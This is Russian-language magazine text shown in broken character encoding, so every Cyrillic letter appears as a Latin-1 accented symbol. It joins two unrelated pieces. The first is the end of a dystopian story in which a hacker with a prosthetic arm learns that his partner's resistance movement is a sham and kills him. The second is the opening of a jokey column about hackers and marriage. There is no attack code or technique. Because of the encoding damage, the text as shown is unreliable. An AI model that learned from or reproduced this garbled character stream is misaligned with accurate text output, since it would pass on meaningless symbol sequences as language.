òîðãîâàòüñÿ. Êàêàÿ ê ÷åðòó
äî÷ü, ÷åðåç ïàðó äíåé âû ñâà-
ëèòåñü îò ãîëîäà, è âàñ, êàê
íåíóæíûé ýëåìåíò, ñîæãóò â
êðåìàòîðèè — åäâà òîëüêî
óâèäÿò, ÷òî ó âàñ íåò ðóêè. Âû
åùå ïëîõî çíàåòå, êàê Èìïå-
ðèÿ îáõîäèòñÿ ñ íåóãîäíûìè.
Âû — îñòàëèñü â æèâûõ. Åùå
òûñÿ÷ó ïîäîáíûõ âàì ðàññòðå-
ëÿëè ó òîé æå êèðïè÷íîé ñòå-
íû, ÷òî è âàø êîìïüþòåð.
— ×åì îíè ðóêîâîäñòâóþòñÿ,
óáèâàÿ îäíèõ è îñòàâëÿÿ â æè-
âûõ äðóãèõ? — Êëåéí áûë
óäèâëåí óñëûøàííûì. Îí áûë
óâåðåí, ÷òî âîçëå òîé ñòåíû
íè ðàçó íå ïðîëèëàñü ÷åëîâå-
÷åñêàÿ êðîâü.
— Öåëåñîîáðàçíîñòü ïîñòóï-
êîâ èìïåðñêèõ ñóäåé íå ïîä-
äàåòñÿ ëîãèêå ïðîñòîãî îáû-
âàòåëÿ. Íî ôàêò îñòàåòñÿ ôàê-

òîì — ïîãèáëî äîñòàòî÷íî ìíîãî íåóãîäíûõ èì ëþäåé. Íå õàêåðîâ, êî-
íå÷íî — ñòîëüêî çíàòîêîâ êîìïüþòåðîâ âðÿä ëè íàéäåòñÿ âî âñåé Èì-
ïåðèè. Òî, ÷òî âû îñòàëèñü æèâû — áîëüøîé ïëþñ...
— Äëÿ ìåíÿ?
— Äëÿ Äâèæåíèÿ. Íàì î÷åíü íå õâàòàåò ñïåöèàëèñòîâ âàøåãî ïðîôèëÿ.
Íàñ÷åò óðîâíÿ íå ñêàæó, ïîòîìó ÷òî ïîêà íå çíàþ î âàñ íè÷åãî — íî
ñàì ôàêò îòñóòñòâèÿ ó âàñ ïðàâîé ðóêè ãîâîðèò î âàøåé êâàëèôèêàöèè.
— Ýòî ãîâîðèò ëèøü î òîì, ÷òî, íåñìîòðÿ íà âñå ìîå èñêóññòâî, ÿ ïî-
ïàëñÿ, — çëî îòâåòèë Êëåéí. — ß âçÿëñÿ çà äåëî, êîòîðîå èçíà÷àëüíî
áûëî ìíå íå ïî çóáàì — âñåìó âèíîé áûëè äåíüãè. Â íàøå òðóäíîå
âðåìÿ èõ íèêîãäà íå õâàòàåò — âîò ÿ è ïîëåç...
— Âû ìîæåòå íàïîìíèòü ìíå îáñòîÿòåëüñòâà äåëà?
— Ìîãó, — Êëåéí êèâíóë. — Áûëà íóæíà èíôîðìàöèÿ. ß äîáûë åå. È
âñå ýòî îêàçàëîñü ïîäñòàâîé. Îò íà÷àëà è äî êîíöà.
— Ýòî ãîâîðèò ëèøü î òîì, ÷òî âû íå ìîæåòå ðàáîòàòü ñ ëþäüìè. Íó, ïî-
äóìàåøü, íå ðàñïîçíàëè â çàêàç÷èêå àãåíòà ñïåöñëóæáû! Íî ðàáîòó-òî
òî âû âûïîëíèëè. ß ïðåäëàãàþ âàì ðàáîòó â òàêîé îáñòàíîâêå, êîãäà íå
ïðèäåòñÿ äóìàòü î òîì, êòî ñòîèò çà çàäàíèåì. Âû áóäåòå óâåðåíû â òåõ,
êòî îêðóæàåò âàñ. Óâåðåíû ïîëíîñòüþ, íà ñòî ïðîöåíòîâ. Âû áóäåòå äî-
âåðÿòü èì ñâîè ñàìûå ïîòàéíûå ìûñëè, îíè ñòàíóò âàøèìè äðóçüÿìè,
âàøèìè âåðíûìè òîâàðèùàìè. Äâèæåíèå óìååò îòáèðàòü êàäðû.
— ß ãîòîâ, — òóò æå ñîãëàñèëñÿ Êëåéí. — Ìíå ïðåäîñòàâÿò æèëüå,
ïèòàíèå?
— Âàì ïðåäîñòàâÿò ÂÑÅ. Ñòîéòå íà ýòîì ìåñòå è æäèòå. ×åðåç äâàä-
öàòü ìèíóò ê âàì ïîäîéäåò ÷åëîâåê, íàçîâåò ïàðîëü. Âû ïîñòóïèòå â
åãî ïîëíîå ðàñïîðÿæåíèå. È êîãäà ìû ïîéìåì, ÷òî íå çðÿ âçÿëè âàñ —
òîãäà ïîãîâîðèì è î âàøåé äî÷åðè.

Ðîâíî ÷åðåç äâàäöàòü ìèíóò ê Êëåéíó ïîäîøåë ÷åëîâåê, ïðîèç-
íåñ ïàðîëü è íàçâàëñÿ Ïåòåðñåíîì. Îíè ñòàëè äðóçüÿìè íà äîëãèå ÷å-
òûðå ãîäà.

È âîò òåïåðü èõ äðóæáà ðàññûïàëàñü â ïûëü ñ êàæäûì îòêðûòûì
ôàéëîì.

Êëåéí ïèë ïèâî.
Îí ïèë åãî óæå íåñêîëüêî ÷àñîâ. Îí âûòàùèë èç õîëîäèëüíèêà

äâå áîëüøèõ óïàêîâêè è âñàñûâàë åãî áàíêó çà áàíêîé. Óæå äåñÿòü èëè
äâåíàäöàòü ìÿòûõ æåñòÿíîê âàëÿëèñü ó åãî íîã — à îí âñå íèêàê íå
ìîã äîñòè÷ü àäåêâàòíîãî ñîñòîÿíèÿ.
— «Âû áóäåòå óâåðåíû... Íà ñòî ïðîöåíòîâ...», — áóð÷àë îí. Àëêîãîëü
âñåãäà ïîäñòåãèâàë åãî ê ðàçãîâîðàì ñ ñàìèì ñîáîé — åñëè îí ïèë â
îäèíî÷åñòâå. À âñïîìíèòü, êîãäà îí ïîñëåäíèé ðàç âûïèâàë â êîìïà-
íèè, îí âðÿä ëè áû ñìîã. Ñêîðåå âñåãî, ýòî áûëî î÷åíü è î÷åíü äàâíî,
äî òîãî ðàññòðåëà ó êèðïè÷íîé ñòåíû, äî ïåðåõîäà íà íåëåãàëüíîå ïî-
ëîæåíèå.

Îí âûïèë åùå îäíó áàíêó è ñæàë åå ìåõàíè÷åñêèìè ïàëüöàìè.
Æåñòÿíêà æàëîñòëèâî ñêðåæåòíóëà è îòëåòåëà â óãîë.

Êëåéí ïîäâèíóëñÿ ê êîìïüþòåðó, çàëåç íà êàêîé-òî ôîðóì 
è ñ óäîâîëüñòâèåì íàãàäèë òàì:
— Çàäàåòå êàêèå-òî ãëóïûå âîïðîñû... Êîçëû... Çíàëè áû âû òî, ÷òî
çíàþ ÿ...

Ïîòîì íàøåë êàêîé-òî ÷àò, âñòóïèë â ïðåðåêàíèÿ ñî âñåìè ñðàçó,
îáîçâàë âñåõ ïîäîíêàìè, óðîäàìè, äåáèëàìè, ïåðåøåë íà íåöåíçóð-
íóþ ëåêñèêó è áûë íåñêàçàííî ðàä, êàê ðåáåíîê, ÷òî ìîäåðàòîð íå ìî-
æåò âûêèíóòü åãî — ïðîòèâ Êëåéíà îí áûë ÿâíî ñëàáîâàò. Ñâÿçü ñ ÷à-
òîì ïðåðâàëàñü — àäìèíèñòðàòîð, ïîõîæå, îòêëþ÷èë åãî, íå â ñèëàõ
ñäåðæàòü ïîòîê áðàíè íîâîãî ó÷àñòíèêà.

Êëåéí ñ ñèëîé óäàðèë ïî êëàâèàòóðå è ðàçáèë åå. Íåñêîëüêî êëà-
âèø óïàëè íà ïîë. Îí ïðîâîäèë èõ ïüÿíûì âçãëÿäîì, ïîòîì âçÿë êëà-
âèàòóðó çà óãîë è øàðàõíóë îá ñòîë. Ñòàëî ëåã÷å.
— Åãî íåò óæå òðåòèé äåíü... — çàêðûâ ãëàçà, ïðîèçíåñ Êëåéí. — Ó ìå-
íÿ êîí÷èòñÿ ïèâî, ïîòîì ÿ ïðîòðåçâåþ, à ïîòîì îí ïðèäåò, è ÿ íè÷åãî
íå ñìîãó åìó ñêàçàòü. Ãäå îí ïðîïàäàåò?

Âñòàâ, îí åäâà íå óïàë — êîìíàòà ñîâåðøèëà êàêîé-òî ïåðåâî-
ðîò ïåðåä åãî ãëàçàìè, íî ìåõàíè÷åñêàÿ ðóêà ìãíîâåííî óõâàòèëàñü çà
êðåñëî, è îí óñòîÿë íà íîãàõ. Ïîäîøåë ê øêàôó ñ çåðêàëüíûìè äâåðÿ-
ìè, îòêðûë, ïîñìîòðåë íà êîìïüþòåð Ïåòåðñåíà.
— Íèêàêèõ òàéí, — ñêàçàë îí. — Áîëüøå — íèêàêèõ òàéí. È ÿ óæå íè-
êîãäà íå íàéäó ìîþ äî÷ü, ìîþ ìàëåíüêóþ Øåðèë...

È îí ïîäóìàë î òîì, ÷òî íå äàâàëî åìó ïîêîÿ âñå ýòè ÷åòûðå ãîäà.
Î äåòñêîé êóêëå â êèðïè÷íîé ïûëè ó íåãî ïîä íîãàìè.
Ïüÿíûå ñëåçû ïîëèëèñü ó íåãî èç ãëàç. Òîãäà, ïåðåä ðàññòðåëîì,

ïåðåä ãðàæäàíñêîé êàçíüþ, îí íå ìîã äóìàòü íè î ÷åì — òîëüêî î ñâî-
åé ñìåðòè. Ïîòîì, ñî âðåìåíåì, îí âñïîìèíàë ýòó êóêëó âî ñíàõ — íî
òóò æå îòãîðàæèâàëñÿ îò âîñïîìèíàíèé ãëóõîé ñòåíîé.
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Êîíå÷íî æå, ýòî íå áûëà êóêëà Øåðèë. Åãî äî÷ü ðîñëà â îäíîì äâî-
ðå ñ ñåìüþ ìàëü÷èøêàìè-îäíîãîäêàìè — è åé áûëî íå äî êóêîë. Îíà ìà-
ñòåðñêè ñòðåëÿëà èç ðîãàòêè, ëàçèëà ïî êðûøàì, õóëèãàíèëà, êàê íàñòîÿ-
ùèé ïàöàí — è Êëåéí íå ìîã íè÷åãî èçìåíèòü. Êîíå÷íî, îí ðóãàë åå, ïû-
òàëñÿ âîçäåéñòâîâàòü íà äî÷ü è êíóòîì, è ïðÿíèêîì — áåñïîëåçíî. Òàê
÷òî êóêëà áûëà íå åå.

Íî ñàìà ïî ñåáå êóêëà ãîâîðèëà î òîì, ÷òî ó ýòîé ñòåíû êîãäà-òî ñòîÿëè è äåòè.
Êëåéí çàêàòèë äâåðè íàçàä, âåðíóëñÿ ê ñåáå, ïåðåøàãèâàÿ ðàññû-

ïàííûå ïî êîìíàòå êëàâèøè, òÿæåëî óïàë â êðåñëî, ïîòÿíóëñÿ çà ñëåäóþ-
ùåé áàíêîé. Îòõëåáíóë, ïîíÿë, ÷òî óæå íå ÷óâñòâóåò âêóñà ïèâà — â ðîò
âëèâàëàñü êàêàÿ-òî ïðîòèâíàÿ âîäÿíèñòàÿ ñóáñòàíöèÿ, íå èìåþùàÿ íè÷å-
ãî îáùåãî ñ áëàãîðîäíûì íàïèòêîì. Íî ïðèçíàòüñÿ ñàìîìó ñåáå â òîì, ÷òî
óæå õâàòèò, îí íå ìîã — ïîýòîìó ñìîðùèëñÿ, äîïèë è áðîñèë áàíêó òóäà
æå, ê îñòàëüíûì.
— Ïåòåðñåí! — çàîðàë îí. — Êàêîãî õðåíà! Ãäå òû åñòü?! ß õî÷ó óñëûøàòü îò
òåáÿ ñàìîãî âñþ ïðàâäó!

Îí ñõâàòèë çàêðûòóþ áàíêó è ðåçêî ñæàë åå ïðîòåçîì. Îíà âçîðâàëàñü,
îáäàâ åãî ïåíîé. Îí, íå îáðàùàÿ íà ýòî âíèìàíèÿ, ïðîäîëæàë êîðåæèòü àëþ-
ìèíèé äî òåõ ïîð, ïîêà îíà íå ïðåâðàòèëàñü â øàð ñ îñòðûìè êðàÿìè.

È â ýòîò ìîìåíò â çàìêå ïîâåðíóëñÿ êëþ÷. Êëåéí ïîïûòàëñÿ ïîäíÿòüñÿ,
ïîòîìó ÷òî ïîíèìàë — îí äîëæåí âñòðåòèòü Ïåòåðñåíà ñòîÿ, à íå ðàçâàëèâ-
øèìñÿ â êðåñëå. ×òîáû ñðàçó, â ëîá, ñêàçàòü åìó îáî âñåì.

Âñòàòü óäàëîñü íå ñðàçó — òåì âðåìåíåì Ïåòåðñåí âîøåë, ïîâåñèë íà
ðó÷êó äâåðè ñóìêó ñ ïðîäóêòàìè, ñíÿë ïëàù è çàìåòèë íà ïîëó æåñòÿíêè èç-
ïîä ïèâà. Îãëÿíóëñÿ, âñòðåòèëñÿ âçãëÿäîì ñ Êëåéíîì. Ïîñòîÿë, ïîìîë÷àë.
— Õî÷åøü ñêàçàòü, ÷òî íàñòàëî âðåìÿ äëÿ ðàçãîâîðà? — ñïðîñèë îí Êëåéíà
÷åðåç ïàðó ìèíóò. 

Êëåéí êèâíóë. Ïîë ïðåäàòåëüñêè óïëûâàë èç-ïîä íîã. Îí óæå äàâíî ïîæà-
ëåë, ÷òî äîâåë ñåáÿ äî ïîðîñÿ÷üåãî âèçãà, íî ïóòè íàçàä íå áûëî.
— Íå ñòîé ó ïîðîãà, — ïðîèçíåñ îí çàïëåòàþùèìñÿ ÿçûêîì. — Âîçüìè â õî-
ëîäèëüíèêå åùå ïàðó áàíîê...
— ß äóìàþ, ÷òî òåáå õâàòèò, — ïîæàë ïëå÷àìè Ïåòåðñåí. — À ìíå ÷òî-òî íå õî-
÷åòñÿ. Ïîãîâîðèì ó ìåíÿ — ñëèøêîì óæ òâîÿ êîìíàòà íàïîìèíàåò õëåâ. ß æäó.

Îí ïðîøåë ê ñåáå. Êëåéí óñëûøàë, êàê îòîäâèãàëèñü ñòâîðêè øêàôà —
Ïåòåðñåí ïðîâåðÿë, âñå ëè â ïîðÿäêå íà åãî ðàáî÷åì ìåñòå.
— Òû ñìîòðè, êàêîé... — ïðîøåïòàë Êëåéí. — Õàêåð õðåíîâ... Äà âñå òâîè
òàéíû ó ìåíÿ äàâíî ïåðåä ãëàçàìè.

Îí âîøåë â êîìíàòó è ñåë íà ïîëó â óãëó — íîãè íå äåðæàëè, à åäèí-
ñòâåííîå êðåñëî çàíÿë Ïåòåðñåí.
— ×åì íå óãîäèë äèâàí? — ñïðîñèë õîçÿèí êîìíàòû ó Êëåéíà. — Áîèøüñÿ
îáäåëàòüñÿ ïðÿìî íà íåì? Ïîõîæå, òû âûïèë îêîëî ïÿòè, ìîæåò äàæå øåñòè
ëèòðîâ. Êàê â òåáÿ âëåçëî?

Ïåòåðñåí ñìîòðåë íà Êëåéíà, ñëåãêà ùóðÿñü. ×óâñòâîâàëîñü, ÷òî îí íà-
ïðÿæåí, íî ñòàðàåòñÿ íè÷åì ýòî íå âûäàòü. Ïàëüöû ëåâîé ðóêè òèõî ïîãëàæè-
âàëè ïðîòåç ïðàâîé. Âðåìåíàìè ïî ìåõàíè÷åñêèì ïàëüöàì ñëîâíî ïðîáåãàëà
âîëíà — îíè âçäðàãèâàëè, âûäàâàÿ ñðàçó ñåðèþ áûñòðûõ, ïðàêòè÷åñêè íåçà-
ìåòíûõ äâèæåíèé.
— Çà÷åì ÿ áûë íóæåí Äâèæåíèþ? — ñïðîñèë Êëåéí. — ß âåäü ñàìûé ïðîñòîé
õàêåð. Ñêàæåì áîëüøå — õàêåð-íåóäà÷íèê. Ñ âûñîòû òîãî îïûòà, ÷òî òû äàë
ìíå, ÿ ïîíèìàþ òåïåðü, â êàêóþ äåòñêóþ ëîâóøêó ÿ ïîïàë. À òû — òû íå ïîáî-
ÿëñÿ õîäèòü ñî ìíîé íà «ýêñû» óæå ÷åðåç äâà ìåñÿöà ïîñëå çíàêîìñòâà...

Îí ïðîòåð íè÷åãî íå âèäÿùèå ãëàçà ïîòíûìè ëàäîíÿìè, ïðèùóðèëñÿ,
ðàçãëÿäåë Ïåòåðñåíà ñêâîçü ïüÿíûé òóìàí.
— Ñìîòðèøü... Óëûáàåøüñÿ... Ñêàæè, à òû çíàë ñ ñàìîãî ïåðâîãî äíÿ, ÷òî
ìîþ äî÷ü ðàññòðåëÿëè? Ðàññòðåëÿëè ïî-íàñòîÿùåìó?

Ïåòåðñåí ùåëêíóë ïðîòåçîì, ðåçêî ñæàâ åãî â êóëàê.
— ×òî çà ÷óøü? Ïî÷åìó òû ðåøèë, ÷òî ÿ äîëæåí ýòî çíàòü? È ïî÷åìó òû ñ÷è-
òàåøü, ÷òî òàê è ñëó÷èëîñü?
— Ýòî åñòü â ìîåì ëè÷íîì äåëå, Ïåòåðñåí. Òâîé êîìïüþòåð ñ íåêîòîðûõ ïîð
ðàçó÷èëñÿ õðàíèòü òàéíû. Èçâèíè, íî ÷óæèå æèçíè íåëüçÿ êàëå÷èòü ñêîëü
óãîäíî äîëãî...

Ïåòåðñåí ìåòíóëñÿ ê øêàôó, áûñòðî íàæàë òàì íåñêîëüêî êëàâèø, âíè-
ìàòåëüíî èçó÷èë ëîãèè.
— Òû áëåôóåøü, — ïîâåðíóëñÿ îí ê Êëåéíó. — ß óâåðåí, òû íå ìîã çàëåçòü êî ìíå.
— Ìîã, íå ìîã — êàêàÿ ðàçíèöà... — ìàõíóë ðóêîé Êëåéí. — Åñëè áû ó òåáÿ
ïðîïàë ðåáåíîê, òî òû çàëåç áû êóäà óãîäíî, õîòü â àä, ÷òîáû óçíàòü âñþ ïðà-
âäó... Âîò è ÿ — çàëåç, ïðî÷èòàë, ïîâåðèë. Ïðàâäà, íå ñðàçó.

Îí ãðîìêî èêíóë è åäâà íå çàâàëèëñÿ íàáîê.
— Áóäü îíî ïðîêëÿòî, ýòî ïèâî... — õâàòàÿñü áóêâàëüíî çà âîçäóõ, Êëåéí ñóìåë
óäåðæàòüñÿ. — Íî ÿ íå ìîã âîò òàê ñðàçó — âçÿòü è ïîñòàâèòü òåáÿ ïåðåä ôàê-
òîì. ß è ñàì äî ñèõ ïîð íå âåðþ... ×òî äî÷ü ìåðòâà...
— ×òî òû óçíàë? — Ïåòåðñåí ïîäîøåë âïëîòíóþ, ïðèñåë ðÿäîì íà êîðòî÷êè.
— Ãîâîðè. Óæå íåò ñìûñëà â íåäîñêàçàííîñòè.
— ß çíàþ âñå, — êèâíóë Êëåéí. — Ñàìîå ãëàâíîå — ÿ çíàþ, ÷òî íèêàêîãî
Äâèæåíèÿ íåò. Åñòü ëèøü êó÷êà ïîäîíêîâ, êîòîðàÿ ðåøèëà âçÿòü ïîä ñâîé

êîíòðîëü âñå êèáåïðîñòðàíñòâî Èìïåðèè. Äâèæåíèå... ×óøü. Ñêîëüêî ÷åëî-
âåê âû óáèëè? Òûñÿ÷è? Äåñÿòêè òûñÿ÷?
— ß íèêîãî íå óáèâàë! — êðèêíóë â ëèöî Êëåéíó Ïåòåðñåí.
— Êîíå÷íî, ýòî áûë íå òû. Òû òîëüêî ïîëüçîâàëñÿ ïëîäàìè àêöèé. Òåáå ïîä-
áèðàëè íàïàðíèêà — è òû ðàáîòàë ñ íèìè. Ïîìíèøü, òû êàê-òî ñêàçàë, ÷òî
áåç ìåíÿ âñåãäà ìîæåøü çàéòè êóäà óãîäíî — à âîò âûéòè áåç ïðîáëåì ó òåáÿ
ïî÷òè íèêîãäà íå ïîëó÷àëîñü?
— Òû íå î÷åíü-òî ïîõîæ íà ïüÿíîãî, — ïðîöåäèë ñêâîçü çóáû Ïåòåðñåí. —
Ñëèøêîì äëèííûå ôðàçû ñòðîèøü.

Îí âñòàë, îòîøåë ê êîìïüþòåðó, ñåë. Ïîòîì ÷òî-òî ñäåëàë ñî ñâîèì ïðî-
òåçîì, ïîùåëêàë ïàëüöàìè, ñæàë â êóëàê è ñïðîñèë:
— Ïðîäîëæåíèå áóäåò?
— Êîíå÷íî.

Êëåéí ïîäíÿëñÿ, îïèðàÿñü î ñòåíó.
— Êàê ÿ ïîíÿë, ÿ ó òåáÿ — óæå òðåòèé íàïàðíèê. ×òî ñëó÷èëîñü ñ ïðåäûäóùè-
ìè äâóìÿ, óòî÷íÿòü íå áóäó, òû âñå ðàâíî ñîâðåøü, íî ðèñêíó ïðåäïîëîæèòü
— îíè òîæå õîòåëè óçíàòü áîëüøå, ÷åì åñòü â ñâîáîäíîì äîñòóïå... Çíàåøü,
Ïåòåðñåí, ÿ ïîíèìàþ, ÷òî ìåíÿ ñåé÷àñ òîøíèò îò ïèâà, íî ÿ óòåøàþ ñåáÿ, ÷òî
ýòà òîøíîòà — îò òâîåãî âèäà. Ìíå ïðîñòî õî÷åòñÿ òåáÿ ïðèäóøèòü. Âîò ýòîé
ñàìîé ñäåëàííîé òîáîé ðóêîé.

Îí ñåäëàë íåñêîëüêî øàãîâ âïåðåä. Ïåòåðñåí âñêî÷èë ñî ñâîåãî êðå-
ñëà, îòñòóïèë ïðàêòè÷åñêè ê îêíó è ÷òî-òî íàæàë íà ñâîåì ïðîòåçå, âûñòàâèâ
ïðàâóþ ðóêó â ñòîðîíó Êëåéíà. Ïîòîì åùå è åùå...

Êëåéí îñòàíîâèëñÿ, óñìåõíóëñÿ.
— Ìíå âñåãäà áûëî èíòåðåñíî, ïî÷åìó íàøè ïðîòåçû íåìíîãî ðàçíûå — è
ïî÷åìó òû âñåãäà ïðÿ÷åøü æåëåçíóþ êèñòü â ðóêàâå. Òåïåðü ÿ çíàþ, ÷òî
ñìóùàëî ìåíÿ âñå ýòè ãîäû. Óðîâåíü àìïóòàöèè. Ó òåáÿ îí çíà÷èòåëüíî
âûøå. À ïàëà÷è Èìïåðèè íå îøèáàþòñÿ ïðè íàêèäûâàíèè òåðìîóäàâêè. Íå
õî÷åøü ñêàçàòü, ÷òî ñòàëî ñ òâîåé ðóêîé? Íàâåðíÿêà ÷òî-òî áàíàëüíîå —
êàêàÿ-íèáóäü ïüÿíàÿ äðàêà â äåáðÿõ íî÷íîãî ãîðîäà, ïàäåíèå ïîä ïîåçä
èëè ãëóáîêèå îæîãè.
— Ïî÷òè óãàäàë. Ìåòðî.
— Ñàì ïîíèìàåøü, òóò ïðîìàõíóòüñÿ òðóäíî. È ÿ ïîâåðþ òåáå, ÷òî ïðîòåç òû
ñïðîåêòèðîâàë ñàì — è äëÿ ñåáÿ. Õîðîøèé ïðîòåç, ïðîñòî èçóìèòåëüíûé... Òàê
óäîáíî ìíå åùå íèêîãäà íå áûëî ñòàêàí êî ðòó ïîäíîñèòü...
— Òû ñóìåë ïîíÿòü êîíñòðóêöèþ?
— Äà. Æèçíü çàñòàâèëà. Â ïðÿìîì ñìûñëå ñëîâà. Âåäü òû òîëüêî ÷òî íåñêîëü-
êî ðàç ïûòàëñÿ âêëþ÷èòü ìîé íåéðîäåòîíàòîð. È áûë èñêðåííå óäèâëåí...
— Áûë, — Ïåòåðñåí îñòàâèë ïîïûòêè íàæèìàòü ñêðûòóþ ïîä îáøëàãîì ðóêà-
âà êíîïêó. — Íå âåëèêà çàñëóãà.
— Êàê ñêàçàòü... — Êëåéí ñêîð÷èë ïüÿíóþ ãðèìàñó. — Îñòàòüñÿ â æèâûõ ëþ-
áîé öåíîé — âîò òåïåðü ìîé äåâèç.
— Çà÷åì?
— ×òîáû ëþäè óçíàëè, ÷òî Äâèæåíèÿ íå ñóùåñòâóåò.
— Ïîâòîðþñü — çà÷åì?
— ×òîáû îíè ñîçäàëè åãî. Âåäü âû — è ÿ áëàãîäàðÿ âàì — áûëè ñàìûìè
îáûêíîâåííûìè âîðàìè. Ïðèêðûâàÿñü âåëèêèìè öåëÿìè, âû ïðîâîäèëè «ýê-
ñû» è ñëèâàëè äåíüãè íà ñ÷åòà Èìïåðèè. Âû èñêàëè ëþäåé, ïîäîáíûõ ìíå —
âûáèðàëè íàèáîëåå òàëàíòëèâûõ,  ðàññòðåëèâàëè îñòàëüíûõ, áðàëè óöåëåâ-
øèõ íà âîîðóæåíèå, çàñòàâëÿÿ èõ ïåðåä ýòèì ïðîéòè âñå ìóêè àäà ãðàæäàí-
ñêîé êàçíè... Âû îòñåèâàëè íåíóæíûå ýëåìåíòû — è âîò íàêîíåö-òî âñå êè-
áåðïðîñòðàíñòâî â âàøåé âëàñòè. ×òî äàëüøå? Íè-÷å-ãî!

Îí ðàçìàõíóëñÿ è øâûðíóë â ëèöî Ïåòåðñåíó æåñòÿíîé øàðèê ñ îñòðûìè
êðàÿìè. Ïðîòåç ïðèäàë ýòîìó àëþìèíèåâîìó åæó íåîáõîäèìîå âðàùåíèå —
è ñïóñòÿ ñåêóíäó ôîíòàí êðîâè âçìåòíóëñÿ èç ïåðåðåçàííîé àðòåðèè õàêåðà.

Ïåòåðñåí çàæàë ðóêîé ðàíó è ñäåëàë áûëî íåñêîëüêî øàãîâ íàâñòðå÷ó
Êëåéíó, íî áûñòðî îñëàáåë îò ïîòåðè êðîâè è óïàë. Êëåéí íàêëîíèëñÿ ê íåìó,
âçãëÿíóë â ãëàçà óìèðàþùåìó.
— Òû æäåøü ïîìîùè? Òû âåäü çíàåøü, ÷òî ïðè îòêëþ÷åíèè äåòîíàòîðà
çäåñü äîëæíû áûëè îêàçàòüñÿ ñîòðóäíèêè ñïåöñëóæáû.

Ïåòåðñåí ñìîòðåë íà íåãî ãëàçàìè, ïîëíûìè óæàñà ñìåðòè.
— Îíè íå ïðèäóò. ß îòêëþ÷èë âñå â ýòîì ïðîòåçå. Âñå öåïè, âñå óñòðîéñòâà.
Ýòî âûãëÿäèò òàê, ñëîâíî ïðîòåç ñëîìàëñÿ. È åãî âûêëþ÷èëè è âûêèíóëè, çà-
ìåíèâ íà íîâûé. À ìíå îí íå íóæåí. Îí íå áûë ìíå íóæåí íèêîãäà. Ïðîñòî òû
ýòîãî íå çíàë. Âåäü èìåííî ïîýòîìó ìåíÿ îñòàâèëè â æèâûõ. Ñìîòðè.

Îí îòñòåãíóë ïðîòåç è ïîëîæèë åãî Ïåòåðñåíó íà ãðóäü. Ïîòîì ïîäîøåë
ê åãî êîìïüþòåðó, ñåë, ïîäîäâèíóë ëåâîé ðóêîé êëàâèàòóðó — è ñòàë íàæè-
ìàòü êëàâèøè.

Ïàëüöàìè îáåèõ ðóê.
Êëàâèøè ñòðåêîòàëè òàê, ñëîâíî ïðàâàÿ ðóêà áûëà íà ìåñòå, ñëîâíî íè-

êòî è íèêîãäà íå îòðåçàë åå íà ñóäå. Èíîãäà îí ïðèãëàæèâàë íåâèäèìîé ðó-
êîé âîëîñû íà ãîëîâå è ìàøèíàëüíî âûòèðàë ïîò î äæèíñû. Ýòî áûëî ïî-
ñëåäíåå, ÷òî âèäåë Ïåòåðñåí â ñâîåé æèçíè.

À Êëåéí èñêàë êîîðäèíàòû èìïåðñêèõ íåëåãàëüíûõ êëàäáèù. Íàäî áó-
äåò ïåðåçàõîðîíèòü Øåðèë ïî-÷åëîâå÷åñêè. Äëÿ íà÷àëà... 
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Ïîãîâîðèì î íàáîëåâøåì. Î æå-
íàõ. Ìå÷òàÿ î âñòðå÷å ñ ïðåêðàñ-
íîé íåçíàêîìêîé, ìíîãèå äàæå íå
äîãàäûâàþòñÿ: ÷åì ýòà âñòðå÷à çà-
êàí÷èâàåòñÿ. Êîãäà â æèçíè õàêåðà
ïîÿâëÿåòñÿ äåâóøêà ñðàçó æå âîç-
íèêàåò ìíîæåñòâî ïðîáëåì è êòî
çíàåò êàê èõ ðàçðåøèòü? ìûùúõ,
êàê îïûòíûé ñàìåö, íå çíàåò, íî
äîãàäûâàåòñÿ.

ââåäåíèå. Åñòü òàêàÿ äðåâíÿÿ
ëåãåíäà. Ïðèøåë ê ìóäðåöó ìîëî-
äîé ÷åëîâåê è ñïðîñèë: «Ñêàæè, æå-
íèòüñÿ ìíå èëè íåò?», íà ÷òî ìóäðåö
îòâåòèë: «Ñåìüÿ çàìåíÿåò âñå! âîò
ñòóïàé è ïîäóìàé, ÷òî òåáå äîðîæå:
âñå èëè ñåìüÿ». Ïî äðóãîé âåðñèè
îòâåò çâó÷àë òàê: «Êàê áû òû íè ïîñ-
òóïèë, î ñâîåì ðåøåíèè òû áóäåøü
æàëåòü âñþ æèçíü». À ó íàñ â íàðî-
äå ãîâîðÿò: æåíà — êàê ÷åìîäàí áåç
ðó÷êè: òàùèòü òÿæåëî, à âûáðîñèòü
æàëêî. È åùå: â æèçíè êàæäîãî
ìóæ÷èíû íàñòóïàåò ìîìåíò, êîãäà
÷èñòûå íîñêè ïðîùå êóïèòü. Êàê ÷å-
ëîâåê, æåíàòûé øåñòü ðàç, Ìûùúõ
ýòî ïîëíîñòüþ ïîäòâåðæäàåò.

Íî âñå ýòî — òîëüêî êðàñè-
âûå ñëîâà è ìåòàôîðû. Ëèòåðàòóð-
ùèíà â îáùåì. À êàê íàñ÷åò ðåàëü-
íîé æèçíè?

âíå ââèðòóàëüíîãî ììèðà. Â ðå-
àëüíîé æèçíè âñå íàìíîãî ïðîùå è
ïðîçàè÷íåå. Îáû÷íî ïèê òâîð÷åñ-
êîé àêòèâíîñòè ó õàêåðîâ ïðèõî-
äèòñÿ íà âíåáðà÷íûé ïåðèîä, à ïî-
òîì... ïîòîì çàòÿãèâàåò áûòîâóõà,
íåîáõîäèìîñòü ïîñåùåíèÿ ìíîãî-
÷èñëåííûõ ðîäñòâåííèêîâ æåíû,
ñîâìåñòíûå ïðîãóëêè, ñòðîãèé ðå-
æèì äíÿ, îáåä ïî ðàñïèñàíèþ è ò.
ä. Êîìó-òî ýòî, ìîæåò áûòü, è â
êàéô, à êîìó-òî íåò. Òîëüêî íàõî-
äÿñü íàåäèíå ñ ñàìèì ñîáîé òû ìî-
æåøü ïîëíîñòüþ îòäàòüñÿ ñàìîñî-
âåðøåíñòâîâàíèþ, ïðîâîäÿ çà
êîìïüþòåðîì âñå ñâîáîäíîå è íåñ-
âîáîäíîå âðåìÿ. Ðâàíûé ãðàôèê
ñíà, îáåä â ñëó÷àéíîå âðåìÿ áåç
îòðûâà îò ìîíèòîðà, «ìàðàôîíû»
(êîãäà òû ïðîâîäèøü çà îòëàä÷è-
êîì íåñêîëüêî ñóòîê, ïîêà íàêîíåö
íå âçëîìàåøü ïðîãðàììó è çàñ-
íåøü ïîïåðåê ïîñòåëè, íå ðàçäåâà-
ÿñü, èëè óïàäåøü ïðÿìî íà êëàâèà-
òóðó. À ÷òî?! Ñïàòü íà êëàâèàòóðå
î÷åíü äàæå óäîáíî! Ãëàâíîå, ÷òî,
